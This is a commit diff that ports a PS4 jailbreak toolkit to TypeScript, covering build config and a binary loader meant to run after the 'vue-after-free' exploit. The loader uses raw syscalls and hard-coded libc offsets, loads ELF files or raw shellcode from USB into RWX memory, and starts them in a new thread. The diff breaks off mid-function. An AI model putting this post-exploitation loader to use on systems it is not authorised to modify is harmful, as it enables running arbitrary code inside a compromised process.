feat: ts port... again
This commit is contained in:
@@ -0,0 +1,21 @@
|
|||||||
|
{
|
||||||
|
"presets": [
|
||||||
|
[
|
||||||
|
"@babel/preset-env",
|
||||||
|
{
|
||||||
|
"targets": {
|
||||||
|
"safari": "10",
|
||||||
|
"esmodules": false
|
||||||
|
},
|
||||||
|
"useBuiltIns": "usage",
|
||||||
|
"corejs": "3.6.5",
|
||||||
|
"modules": false
|
||||||
|
}
|
||||||
|
],
|
||||||
|
["@babel/preset-typescript"]
|
||||||
|
],
|
||||||
|
"plugins": [
|
||||||
|
["./module-remover/index.js"]
|
||||||
|
],
|
||||||
|
"ignore": ["./src/download0/vid"]
|
||||||
|
}
|
||||||
@@ -37,6 +37,7 @@ export default defineConfig([
|
|||||||
'no-fallthrough': 'off',
|
'no-fallthrough': 'off',
|
||||||
'no-new-native-nonconstructor': 'off', // we use our own BigInt
|
'no-new-native-nonconstructor': 'off', // we use our own BigInt
|
||||||
'no-extend-native': 'off', // we extend native for better usage
|
'no-extend-native': 'off', // we extend native for better usage
|
||||||
|
'no-new': 'off',
|
||||||
|
|
||||||
// TS duplicates
|
// TS duplicates
|
||||||
'@typescript-eslint/no-unused-vars': 'off',
|
'@typescript-eslint/no-unused-vars': 'off',
|
||||||
|
|||||||
@@ -0,0 +1,29 @@
|
|||||||
|
export default function () {
|
||||||
|
return {
|
||||||
|
name: 'module-remover',
|
||||||
|
|
||||||
|
visitor: {
|
||||||
|
ImportDeclaration (
|
||||||
|
path
|
||||||
|
) {
|
||||||
|
path.remove()
|
||||||
|
},
|
||||||
|
ExportNamedDeclaration (
|
||||||
|
path
|
||||||
|
) {
|
||||||
|
const { declaration, specifiers } = path.node
|
||||||
|
if (declaration) {
|
||||||
|
path.replaceWith(declaration)
|
||||||
|
} else if (specifiers.length > 0) {
|
||||||
|
path.remove()
|
||||||
|
}
|
||||||
|
},
|
||||||
|
ExportDefaultDeclaration (
|
||||||
|
path
|
||||||
|
) {
|
||||||
|
const { declaration } = path.node
|
||||||
|
path.replaceWith(declaration)
|
||||||
|
}
|
||||||
|
},
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,10 +3,19 @@
|
|||||||
"module": "index.ts",
|
"module": "index.ts",
|
||||||
"type": "module",
|
"type": "module",
|
||||||
"private": true,
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "babel --extensions \".ts\" src --out-dir dist",
|
||||||
|
"lint": "eslint . --ext .ts,.js",
|
||||||
|
"lint:fix": "eslint . --ext .ts,.js --fix"
|
||||||
|
},
|
||||||
"peerDependencies": {
|
"peerDependencies": {
|
||||||
"typescript": "^5"
|
"typescript": "^5"
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
|
"@babel/cli": "^7.28.3",
|
||||||
|
"@babel/core": "^7.28.5",
|
||||||
|
"@babel/preset-env": "^7.28.5",
|
||||||
|
"@babel/preset-typescript": "^7.28.5",
|
||||||
"@eslint/js": "^9.39.2",
|
"@eslint/js": "^9.39.2",
|
||||||
"eslint": "^9.39.2",
|
"eslint": "^9.39.2",
|
||||||
"globals": "^16.5.0",
|
"globals": "^16.5.0",
|
||||||
|
|||||||
@@ -1,3 +1,7 @@
|
|||||||
|
import { fn, BigInt, mem, utils } from 'download0/types'
|
||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { show_success } from 'download0/loader'
|
||||||
|
|
||||||
// bin_loader.js - ELF/binary loader for PS4 after vue-after-free jailbreak
|
// bin_loader.js - ELF/binary loader for PS4 after vue-after-free jailbreak
|
||||||
// Ported from netflix N Hack for ps4
|
// Ported from netflix N Hack for ps4
|
||||||
//
|
//
|
||||||
@@ -5,7 +9,7 @@
|
|||||||
// After lapse completes, call: binloader_init()
|
// After lapse completes, call: binloader_init()
|
||||||
|
|
||||||
// Define binloader_init function
|
// Define binloader_init function
|
||||||
binloader_init = function () {
|
export function binloader_init () {
|
||||||
log('binloader_init(): Initializing binloader...')
|
log('binloader_init(): Initializing binloader...')
|
||||||
|
|
||||||
// Check dependencies
|
// Check dependencies
|
||||||
@@ -17,69 +21,55 @@ binloader_init = function () {
|
|||||||
log('binloader_init(): Dependencies OK, initializing...')
|
log('binloader_init(): Dependencies OK, initializing...')
|
||||||
|
|
||||||
// thrd_create and thrd_join offsets in libc
|
// thrd_create and thrd_join offsets in libc
|
||||||
var THRD_CREATE_OFFSET = 0x555A0
|
const THRD_CREATE_OFFSET = 0x555A0
|
||||||
var THRD_JOIN_OFFSET = 0x55410
|
const THRD_JOIN_OFFSET = 0x55410
|
||||||
|
|
||||||
// Register thrd_create and thrd_join from libc
|
// Register thrd_create and thrd_join from libc
|
||||||
var thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
|
const thrd_create_addr = libc_addr.add(new BigInt(0, THRD_CREATE_OFFSET))
|
||||||
var thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
|
const thrd_join_addr = libc_addr.add(new BigInt(0, THRD_JOIN_OFFSET))
|
||||||
|
|
||||||
fn.register(thrd_create_addr, 'thrd_create', 'bigint')
|
fn.register(thrd_create_addr, 'thrd_create', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(thrd_join_addr, 'thrd_join', 'bigint')
|
fn.register(thrd_join_addr, 'thrd_join', ['bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
var thrd_create = fn.thrd_create
|
const thrd_create = fn.thrd_create
|
||||||
var thrd_join = fn.thrd_join
|
const thrd_join = fn.thrd_join
|
||||||
|
|
||||||
log('thrd_create @ ' + thrd_create_addr.toString())
|
log('thrd_create @ ' + thrd_create_addr.toString())
|
||||||
log('thrd_join @ ' + thrd_join_addr.toString())
|
log('thrd_join @ ' + thrd_join_addr.toString())
|
||||||
|
|
||||||
// Register syscalls needed for binloader
|
// Register syscalls needed for binloader
|
||||||
var stat_sys, open_sys, read_sys, write_sys, close_sys, mmap_sys, bind_sys, listen_sys, accept_sys
|
fn.register(0xBC, 'stat_sys', ['bigint', 'bigint'], 'bigint')
|
||||||
|
const stat_sys = fn.stat_sys
|
||||||
|
|
||||||
if (typeof fn.stat_sys === 'undefined') {
|
fn.register(0x05, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0xBC, 'stat_sys', 'bigint')
|
const open_sys = fn.open_sys
|
||||||
}
|
|
||||||
stat_sys = fn.stat_sys
|
|
||||||
|
|
||||||
if (typeof fn.open_sys === 'undefined') {
|
fn.register(0x03, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x05, 'open_sys', 'bigint')
|
const read_sys = fn.read_sys
|
||||||
}
|
|
||||||
open_sys = fn.open_sys
|
|
||||||
|
|
||||||
if (typeof fn.read_sys === 'undefined') {
|
fn.register(0x04, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x03, 'read_sys', 'bigint')
|
const write_sys = fn.write_sys
|
||||||
}
|
|
||||||
read_sys = fn.read_sys
|
|
||||||
|
|
||||||
if (typeof fn.write_sys === 'undefined') {
|
fn.register(0x06, 'close_sys', ['number'], 'bigint')
|
||||||
fn.register(0x04, 'write_sys', 'bigint')
|
const close_sys = fn.close_sys
|
||||||
}
|
|
||||||
write_sys = fn.write_sys
|
|
||||||
|
|
||||||
if (typeof fn.close_sys === 'undefined') {
|
fn.register(0x1DD, 'mmap_sys', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x06, 'close_sys', 'bigint')
|
const mmap_sys = fn.mmap_sys
|
||||||
}
|
|
||||||
close_sys = fn.close_sys
|
|
||||||
|
|
||||||
if (typeof fn.mmap_sys === 'undefined') {
|
fn.register(0x68, 'bind_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x1DD, 'mmap_sys', 'bigint')
|
const bind_sys = fn.bind_sys
|
||||||
}
|
|
||||||
mmap_sys = fn.mmap_sys
|
|
||||||
|
|
||||||
if (typeof fn.bind_sys === 'undefined') {
|
fn.register(0x6A, 'listen_sys', ['bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x68, 'bind_sys', 'bigint')
|
const listen_sys = fn.listen_sys
|
||||||
}
|
|
||||||
bind_sys = fn.bind_sys
|
|
||||||
|
|
||||||
if (typeof fn.listen_sys === 'undefined') {
|
fn.register(0x1E, 'accept_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
fn.register(0x6A, 'listen_sys', 'bigint')
|
const accept_sys = fn.accept_sys
|
||||||
}
|
|
||||||
listen_sys = fn.listen_sys
|
|
||||||
|
|
||||||
if (typeof fn.accept_sys === 'undefined') {
|
fn.register(0x61, 'socket', ['number', 'number', 'number'], 'bigint')
|
||||||
fn.register(0x1E, 'accept_sys', 'bigint')
|
const socket = fn.socket
|
||||||
}
|
|
||||||
accept_sys = fn.accept_sys
|
fn.register(0x69, 'setsockopt', ['number', 'number', 'number', 'bigint', 'number'], 'bigint')
|
||||||
|
const setsockopt = fn.setsockopt
|
||||||
|
|
||||||
// Constants
|
// Constants
|
||||||
const BIN_LOADER_PORT = 9020
|
const BIN_LOADER_PORT = 9020
|
||||||
@@ -104,11 +94,11 @@ binloader_init = function () {
|
|||||||
const BL_SO_REUSEADDR = 4
|
const BL_SO_REUSEADDR = 4
|
||||||
|
|
||||||
// File open flags
|
// File open flags
|
||||||
var BL_O_RDONLY = 0
|
const BL_O_RDONLY = 0
|
||||||
var BL_O_WRONLY = 1
|
const BL_O_WRONLY = 1
|
||||||
var BL_O_RDWR = 2
|
const BL_O_RDWR = 2
|
||||||
var BL_O_CREAT = 0x200
|
const BL_O_CREAT = 0x200
|
||||||
var BL_O_TRUNC = 0x400
|
const BL_O_TRUNC = 0x400
|
||||||
|
|
||||||
// USB and data paths (check usb0-usb4 like BD-JB does)
|
// USB and data paths (check usb0-usb4 like BD-JB does)
|
||||||
const USB_PAYLOAD_PATHS = [
|
const USB_PAYLOAD_PATHS = [
|
||||||
@@ -144,12 +134,12 @@ binloader_init = function () {
|
|||||||
const PT_LOAD = 1
|
const PT_LOAD = 1
|
||||||
|
|
||||||
// Helper: Round up to page boundary
|
// Helper: Round up to page boundary
|
||||||
function bl_round_up (x, base) {
|
function bl_round_up (x: number, base: number) {
|
||||||
return Math.floor((x + base - 1) / base) * base
|
return Math.floor((x + base - 1) / base) * base
|
||||||
}
|
}
|
||||||
|
|
||||||
// Helper: Check for syscall error
|
// Helper: Check for syscall error
|
||||||
function bl_is_error (val) {
|
function bl_is_error (val: number | BigInt) {
|
||||||
if (val instanceof BigInt) {
|
if (val instanceof BigInt) {
|
||||||
return val.hi === 0xffffffff
|
return val.hi === 0xffffffff
|
||||||
}
|
}
|
||||||
@@ -157,9 +147,9 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Helper: Allocate string in memory and return address
|
// Helper: Allocate string in memory and return address
|
||||||
function bl_alloc_string (str) {
|
function bl_alloc_string (str: string) {
|
||||||
var addr = mem.malloc(str.length + 1)
|
const addr = mem.malloc(str.length + 1)
|
||||||
for (var i = 0; i < str.length; i++) {
|
for (let i = 0; i < str.length; i++) {
|
||||||
mem.view(addr).setUint8(i, str.charCodeAt(i))
|
mem.view(addr).setUint8(i, str.charCodeAt(i))
|
||||||
}
|
}
|
||||||
mem.view(addr).setUint8(str.length, 0) // null terminator
|
mem.view(addr).setUint8(str.length, 0) // null terminator
|
||||||
@@ -167,14 +157,14 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Helper: Check if file exists using stat() and return size, or -1 if not found
|
// Helper: Check if file exists using stat() and return size, or -1 if not found
|
||||||
function bl_file_exists (path) {
|
function bl_file_exists (path: string) {
|
||||||
log('Checking: ' + path)
|
log('Checking: ' + path)
|
||||||
var path_addr = bl_alloc_string(path)
|
const path_addr = bl_alloc_string(path)
|
||||||
var stat_buf = mem.malloc(0x78)
|
const stat_buf = mem.malloc(0x78)
|
||||||
|
|
||||||
// Call stat(path, &stat_buf) - catch errors (file not found)
|
// Call stat(path, &stat_buf) - catch errors (file not found)
|
||||||
try {
|
try {
|
||||||
var ret = stat_sys(path_addr, stat_buf)
|
const ret = stat_sys(path_addr, stat_buf)
|
||||||
|
|
||||||
if (bl_is_error(ret)) {
|
if (bl_is_error(ret)) {
|
||||||
log(' stat() failed - file not found')
|
log(' stat() failed - file not found')
|
||||||
@@ -182,7 +172,7 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Check st_mode at offset 0x08 to see if it's a regular file
|
// Check st_mode at offset 0x08 to see if it's a regular file
|
||||||
var st_mode = mem.view(stat_buf).getUint16(0x08, true)
|
const st_mode = mem.view(stat_buf).getUint16(0x08, true)
|
||||||
|
|
||||||
// Check S_ISREG (mode & 0xF000) == S_IFREG (0x8000)
|
// Check S_ISREG (mode & 0xF000) == S_IFREG (0x8000)
|
||||||
if ((st_mode & 0xF000) !== S_IFREG) {
|
if ((st_mode & 0xF000) !== S_IFREG) {
|
||||||
@@ -191,30 +181,30 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// st_size is at offset 0x48 in struct stat (int64_t)
|
// st_size is at offset 0x48 in struct stat (int64_t)
|
||||||
var size = mem.view(stat_buf).getBigInt(0x48, true)
|
const size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||||
var size_num = size.lo + (size.hi * 0x100000000)
|
const size_num = size.lo + (size.hi * 0x100000000)
|
||||||
log(' Found: ' + size_num + ' bytes')
|
log(' Found: ' + size_num + ' bytes')
|
||||||
|
|
||||||
return size_num
|
return size_num
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log(' ' + e.message)
|
log(' ' + (e as Error).message)
|
||||||
return -1
|
return -1
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get file size using stat()
|
// Get file size using stat()
|
||||||
function bl_get_file_size_stat (path) {
|
function bl_get_file_size_stat (path: string) {
|
||||||
var path_addr = bl_alloc_string(path)
|
const path_addr = bl_alloc_string(path)
|
||||||
var stat_buf = mem.malloc(0x78)
|
const stat_buf = mem.malloc(0x78)
|
||||||
|
|
||||||
try {
|
try {
|
||||||
var ret = stat_sys(path_addr, stat_buf)
|
const ret = stat_sys(path_addr, stat_buf)
|
||||||
if (bl_is_error(ret)) {
|
if (bl_is_error(ret)) {
|
||||||
return -1
|
return -1
|
||||||
}
|
}
|
||||||
|
|
||||||
// st_size is at offset 0x48
|
// st_size is at offset 0x48
|
||||||
var size = mem.view(stat_buf).getBigInt(0x48, true)
|
const size = mem.view(stat_buf).getBigInt(0x48, true)
|
||||||
return size.lo + (size.hi * 0x100000000)
|
return size.lo + (size.hi * 0x100000000)
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
return -1
|
return -1
|
||||||
@@ -222,29 +212,29 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Read entire file into memory buffer
|
// Read entire file into memory buffer
|
||||||
function bl_read_file (path) {
|
function bl_read_file (path: string) {
|
||||||
// Use stat() to get file size
|
// Use stat() to get file size
|
||||||
var size = bl_get_file_size_stat(path)
|
const size = bl_get_file_size_stat(path)
|
||||||
if (size <= 0) {
|
if (size <= 0) {
|
||||||
log(' stat failed or size=0')
|
log(' stat failed or size=0')
|
||||||
return null
|
return null
|
||||||
}
|
}
|
||||||
|
|
||||||
var path_addr = bl_alloc_string(path)
|
const path_addr = bl_alloc_string(path)
|
||||||
var fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
|
const fd = open_sys(path_addr, new BigInt(0, BL_O_RDONLY), new BigInt(0, 0))
|
||||||
|
|
||||||
if (bl_is_error(fd)) {
|
if (bl_is_error(fd)) {
|
||||||
log(' open failed')
|
log(' open failed')
|
||||||
return null
|
return null
|
||||||
}
|
}
|
||||||
|
|
||||||
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||||
var buf = mem.malloc(size)
|
const buf = mem.malloc(size)
|
||||||
var total_read = 0
|
let total_read = 0
|
||||||
|
|
||||||
while (total_read < size) {
|
while (total_read < size) {
|
||||||
var chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
|
const chunk = size - total_read > READ_CHUNK ? READ_CHUNK : size - total_read
|
||||||
var bytes_read = read_sys(
|
const bytes_read = read_sys(
|
||||||
new BigInt(0, fd_num),
|
new BigInt(0, fd_num),
|
||||||
buf.add(new BigInt(0, total_read)),
|
buf.add(new BigInt(0, total_read)),
|
||||||
new BigInt(0, chunk)
|
new BigInt(0, chunk)
|
||||||
@@ -267,13 +257,13 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Write buffer to file
|
// Write buffer to file
|
||||||
function bl_write_file (path, buf, size) {
|
function bl_write_file (path: string, buf: BigInt, size: number) {
|
||||||
var path_addr = bl_alloc_string(path)
|
const path_addr = bl_alloc_string(path)
|
||||||
var flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
|
const flags = BL_O_WRONLY | BL_O_CREAT | BL_O_TRUNC
|
||||||
log(' write_file: open(' + path + ', flags=0x' + flags.toString(16) + ')')
|
log(' write_file: open(' + path + ', flags=0x' + flags.toString(16) + ')')
|
||||||
|
|
||||||
var fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
|
const fd = open_sys(path_addr, new BigInt(0, flags), new BigInt(0, 0o755))
|
||||||
var fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
const fd_num = (fd instanceof BigInt) ? fd.lo : fd
|
||||||
log(' write_file: fd=' + fd_num)
|
log(' write_file: fd=' + fd_num)
|
||||||
|
|
||||||
if (bl_is_error(fd)) {
|
if (bl_is_error(fd)) {
|
||||||
@@ -281,10 +271,10 @@ binloader_init = function () {
|
|||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
var total_written = 0
|
let total_written = 0
|
||||||
while (total_written < size) {
|
while (total_written < size) {
|
||||||
var chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
|
const chunk = size - total_written > READ_CHUNK ? READ_CHUNK : size - total_written
|
||||||
var bytes_written = write_sys(
|
const bytes_written = write_sys(
|
||||||
new BigInt(0, fd_num),
|
new BigInt(0, fd_num),
|
||||||
buf.add(new BigInt(0, total_written)),
|
buf.add(new BigInt(0, total_written)),
|
||||||
new BigInt(0, chunk)
|
new BigInt(0, chunk)
|
||||||
@@ -304,10 +294,10 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Copy file from src to dst
|
// Copy file from src to dst
|
||||||
function bl_copy_file (src_path, dst_path) {
|
function bl_copy_file (src_path: string, dst_path: string) {
|
||||||
log('Copying ' + src_path + ' -> ' + dst_path)
|
log('Copying ' + src_path + ' -> ' + dst_path)
|
||||||
|
|
||||||
var data = bl_read_file(src_path)
|
const data = bl_read_file(src_path)
|
||||||
if (data === null) {
|
if (data === null) {
|
||||||
log('Failed to read source file')
|
log('Failed to read source file')
|
||||||
return false
|
return false
|
||||||
@@ -325,7 +315,7 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Read ELF header from buffer
|
// Read ELF header from buffer
|
||||||
function bl_read_elf_header (buf_addr) {
|
function bl_read_elf_header (buf_addr: BigInt) {
|
||||||
return {
|
return {
|
||||||
magic: mem.view(buf_addr).getUint32(0, true),
|
magic: mem.view(buf_addr).getUint32(0, true),
|
||||||
e_entry: mem.view(buf_addr).getBigInt(ELF_HEADER.E_ENTRY, true),
|
e_entry: mem.view(buf_addr).getBigInt(ELF_HEADER.E_ENTRY, true),
|
||||||
@@ -336,8 +326,8 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Read program header from buffer
|
// Read program header from buffer
|
||||||
function bl_read_program_header (buf_addr, offset) {
|
function bl_read_program_header (buf_addr: BigInt, offset: number) {
|
||||||
var base = buf_addr.add(new BigInt(0, offset))
|
const base = buf_addr.add(new BigInt(0, offset))
|
||||||
return {
|
return {
|
||||||
p_type: mem.view(base).getUint32(PROGRAM_HEADER.P_TYPE, true),
|
p_type: mem.view(base).getUint32(PROGRAM_HEADER.P_TYPE, true),
|
||||||
p_flags: mem.view(base).getUint32(PROGRAM_HEADER.P_FLAGS, true),
|
p_flags: mem.view(base).getUint32(PROGRAM_HEADER.P_FLAGS, true),
|
||||||
@@ -349,34 +339,34 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Load ELF segments into mmap'd memory
|
// Load ELF segments into mmap'd memory
|
||||||
function bl_load_elf_segments (buf_addr, base_addr) {
|
function bl_load_elf_segments (buf_addr: BigInt, base_addr: BigInt) {
|
||||||
var elf = bl_read_elf_header(buf_addr)
|
const elf = bl_read_elf_header(buf_addr)
|
||||||
|
|
||||||
log('ELF: ' + elf.e_phnum + ' segments, entry @ ' + elf.e_entry.toString())
|
log('ELF: ' + elf.e_phnum + ' segments, entry @ ' + elf.e_entry.toString())
|
||||||
|
|
||||||
for (var i = 0; i < elf.e_phnum; i++) {
|
for (let i = 0; i < elf.e_phnum; i++) {
|
||||||
var phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
|
const phdr_offset = (elf.e_phoff.lo + (elf.e_phoff.hi * 0x100000000)) + i * elf.e_phentsize
|
||||||
var segment = bl_read_program_header(buf_addr, phdr_offset)
|
const segment = bl_read_program_header(buf_addr, phdr_offset)
|
||||||
|
|
||||||
if (segment.p_type === PT_LOAD && !segment.p_memsz.eq(0)) {
|
if (segment.p_type === PT_LOAD && !segment.p_memsz.eq(0)) {
|
||||||
// Use lower 24 bits of vaddr to get offset within region
|
// Use lower 24 bits of vaddr to get offset within region
|
||||||
var seg_offset_num = segment.p_vaddr.lo & 0xffffff
|
const seg_offset_num = segment.p_vaddr.lo & 0xffffff
|
||||||
var seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
|
const seg_addr = base_addr.add(new BigInt(0, seg_offset_num))
|
||||||
|
|
||||||
// Copy segment data
|
// Copy segment data
|
||||||
var filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
|
const filesz = segment.p_filesz.lo + (segment.p_filesz.hi * 0x100000000)
|
||||||
var src_addr = buf_addr.add(segment.p_offset)
|
const src_addr = buf_addr.add(segment.p_offset)
|
||||||
|
|
||||||
// Copy using mem API
|
// Copy using mem API
|
||||||
for (var j = 0; j < filesz; j++) {
|
for (let j = 0; j < filesz; j++) {
|
||||||
var byte = mem.view(src_addr).getUint8(j)
|
const byte = mem.view(src_addr).getUint8(j)
|
||||||
mem.view(seg_addr).setUint8(j, byte)
|
mem.view(seg_addr).setUint8(j, byte)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Zero remaining memory (memsz - filesz)
|
// Zero remaining memory (memsz - filesz)
|
||||||
var memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
|
const memsz = segment.p_memsz.lo + (segment.p_memsz.hi * 0x100000000)
|
||||||
if (memsz > filesz) {
|
if (memsz > filesz) {
|
||||||
for (var j = filesz; j < memsz; j++) {
|
for (let j = filesz; j < memsz; j++) {
|
||||||
mem.view(seg_addr).setUint8(j, 0)
|
mem.view(seg_addr).setUint8(j, 0)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -384,149 +374,160 @@ binloader_init = function () {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Return entry point address
|
// Return entry point address
|
||||||
var entry_offset = elf.e_entry.lo & 0xffffff
|
const entry_offset = elf.e_entry.lo & 0xffffff
|
||||||
return base_addr.add(new BigInt(0, entry_offset))
|
return base_addr.add(new BigInt(0, entry_offset))
|
||||||
}
|
}
|
||||||
|
|
||||||
// BinLoader object
|
// BinLoader object
|
||||||
var BinLoader = {
|
const BinLoader: {
|
||||||
|
data: BigInt | null,
|
||||||
|
data_size: number,
|
||||||
|
mmap_base: BigInt | null,
|
||||||
|
mmap_size: number,
|
||||||
|
entry_point: BigInt | null,
|
||||||
|
skip_autoclose: boolean,
|
||||||
|
init: (bin_data_addr: BigInt, bin_size: number) => void,
|
||||||
|
run: () => void
|
||||||
|
} = {
|
||||||
data: null,
|
data: null,
|
||||||
data_size: 0,
|
data_size: 0,
|
||||||
mmap_base: null,
|
mmap_base: null,
|
||||||
mmap_size: 0,
|
mmap_size: 0,
|
||||||
entry_point: null,
|
entry_point: null,
|
||||||
skip_autoclose: false,
|
skip_autoclose: false,
|
||||||
}
|
init: function (bin_data_addr, bin_size) {
|
||||||
|
this.data = bin_data_addr
|
||||||
|
this.data_size = bin_size
|
||||||
|
|
||||||
BinLoader.init = function (bin_data_addr, bin_size) {
|
// Calculate mmap size (round up to page boundary)
|
||||||
BinLoader.data = bin_data_addr
|
this.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
|
||||||
BinLoader.data_size = bin_size
|
|
||||||
|
|
||||||
// Calculate mmap size (round up to page boundary)
|
// Allocate RWX memory using mmap
|
||||||
BinLoader.mmap_size = bl_round_up(bin_size, PAGE_SIZE)
|
const prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
|
||||||
|
const flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
|
||||||
|
|
||||||
// Allocate RWX memory using mmap
|
const ret = mmap_sys(
|
||||||
var prot = new BigInt(0, BL_PROT_READ | BL_PROT_WRITE | BL_PROT_EXEC)
|
new BigInt(0, 0),
|
||||||
var flags = new BigInt(0, BL_MAP_PRIVATE | BL_MAP_ANONYMOUS)
|
new BigInt(0, this.mmap_size),
|
||||||
|
prot,
|
||||||
|
flags,
|
||||||
|
new BigInt(0xffffffff, 0xffffffff), // fd = -1
|
||||||
|
new BigInt(0, 0)
|
||||||
|
)
|
||||||
|
|
||||||
var ret = mmap_sys(
|
if (bl_is_error(ret)) {
|
||||||
new BigInt(0, 0),
|
throw new Error('mmap failed: ' + ret.toString())
|
||||||
new BigInt(0, BinLoader.mmap_size),
|
|
||||||
prot,
|
|
||||||
flags,
|
|
||||||
new BigInt(0xffffffff, 0xffffffff), // fd = -1
|
|
||||||
new BigInt(0, 0)
|
|
||||||
)
|
|
||||||
|
|
||||||
if (bl_is_error(ret)) {
|
|
||||||
throw new Error('mmap failed: ' + ret.toString())
|
|
||||||
}
|
|
||||||
|
|
||||||
BinLoader.mmap_base = ret
|
|
||||||
log('mmap() allocated at: ' + BinLoader.mmap_base.toString())
|
|
||||||
|
|
||||||
// Check for ELF magic
|
|
||||||
var magic = mem.view(bin_data_addr).getUint32(0, true)
|
|
||||||
|
|
||||||
if (magic === ELF_MAGIC) {
|
|
||||||
log('Detected ELF binary, parsing headers...')
|
|
||||||
BinLoader.entry_point = bl_load_elf_segments(bin_data_addr, BinLoader.mmap_base)
|
|
||||||
} else {
|
|
||||||
log('Non-ELF binary, treating as raw shellcode (' + bin_size + ' bytes)')
|
|
||||||
// Copy raw binary
|
|
||||||
for (var i = 0; i < bin_size; i++) {
|
|
||||||
var byte = mem.view(bin_data_addr).getUint8(i)
|
|
||||||
mem.view(BinLoader.mmap_base).setUint8(i, byte)
|
|
||||||
}
|
}
|
||||||
BinLoader.entry_point = BinLoader.mmap_base
|
|
||||||
}
|
|
||||||
|
|
||||||
log('Entry point: ' + BinLoader.entry_point.toString())
|
this.mmap_base = ret
|
||||||
}
|
log('mmap() allocated at: ' + this.mmap_base.toString())
|
||||||
|
|
||||||
BinLoader.run = function () {
|
// Check for ELF magic
|
||||||
log('Spawning payload thread using thrd_create...')
|
const magic = mem.view(bin_data_addr).getUint32(0, true)
|
||||||
|
|
||||||
// Allocate thread handle and result storage
|
if (magic === ELF_MAGIC) {
|
||||||
var thread_handle = mem.malloc(8) // thrd_t handle
|
log('Detected ELF binary, parsing headers...')
|
||||||
var thread_result = mem.malloc(4) // int result
|
this.entry_point = bl_load_elf_segments(bin_data_addr, this.mmap_base)
|
||||||
|
|
||||||
// Initialize to 0
|
|
||||||
mem.view(thread_handle).setBigInt(0, new BigInt(0, 0), true)
|
|
||||||
mem.view(thread_result).setUint32(0, 0, true)
|
|
||||||
|
|
||||||
log('Entry point @ ' + BinLoader.entry_point.toString())
|
|
||||||
|
|
||||||
// Call thrd_create(thread_handle, entry_point, NULL)
|
|
||||||
// int thrd_create(thrd_t *thr, thrd_start_t func, void *arg);
|
|
||||||
log('Calling thrd_create...')
|
|
||||||
var ret = thrd_create(
|
|
||||||
thread_handle, // thrd_t *thr
|
|
||||||
BinLoader.entry_point, // thrd_start_t func
|
|
||||||
new BigInt(0, 0) // void *arg (NULL)
|
|
||||||
)
|
|
||||||
|
|
||||||
// thrd_success = 0
|
|
||||||
if (ret.eq(0)) {
|
|
||||||
log('SUCCESS: Payload thread created!')
|
|
||||||
var thr_id = mem.view(thread_handle).getBigInt(0, true)
|
|
||||||
log('Thread handle: ' + thr_id.toString())
|
|
||||||
// utils.notify("Payload loaded!\nThread spawned successfully");
|
|
||||||
|
|
||||||
// Check if autoclose is enabled
|
|
||||||
if (typeof CONFIG !== 'undefined' && CONFIG.autoclose && !BinLoader.skip_autoclose) {
|
|
||||||
log('CONFIG.autoclose enabled - terminating current process')
|
|
||||||
|
|
||||||
if (!fn.getpid) fn.register(0x14, 'getpid', 'bigint')
|
|
||||||
if (!fn.kill) fn.register(0x25, 'kill', 'bigint')
|
|
||||||
|
|
||||||
var pid = fn.getpid()
|
|
||||||
var pid_num = (pid instanceof BigInt) ? pid.lo : pid
|
|
||||||
log('Current PID: ' + pid_num)
|
|
